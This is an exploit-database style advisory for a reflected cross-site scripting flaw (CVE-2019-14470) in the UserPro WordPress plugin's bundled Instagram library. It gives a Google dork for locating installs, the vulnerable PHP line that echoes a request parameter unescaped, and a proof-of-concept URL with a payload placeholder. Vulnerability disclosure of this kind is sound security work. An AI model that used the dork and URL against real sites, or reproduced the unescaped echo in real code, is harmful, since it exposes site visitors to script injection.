Share
# Exploit Title: UserPro <= 4.9.32 Reflected XSS  
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads  
# Date: 25 August 2019  
# Exploit Author: Damian Ebelties (https://zerodays.lol/)  
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681  
# Version: <= 4.9.32  
# Tested on: Ubuntu 18.04.1  
# CVE: CVE-2019-14470  
  
The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that  
is vulnerable for Reflected Cross-Site Scripting (XSS).  
  
There is more vulnerable code in 'UserPro' core, might release that later.  
  
As of today (25 August 2019) this issue is unfixed.  
  
Vulnerable code: (success.php on line 36)  
  
if (isset($_GET['error'])) {  
echo 'An error occurred: ' . $_GET['error_description'];  
}  
  
> https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36  
  
Proof-of-Concept:  
  
https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>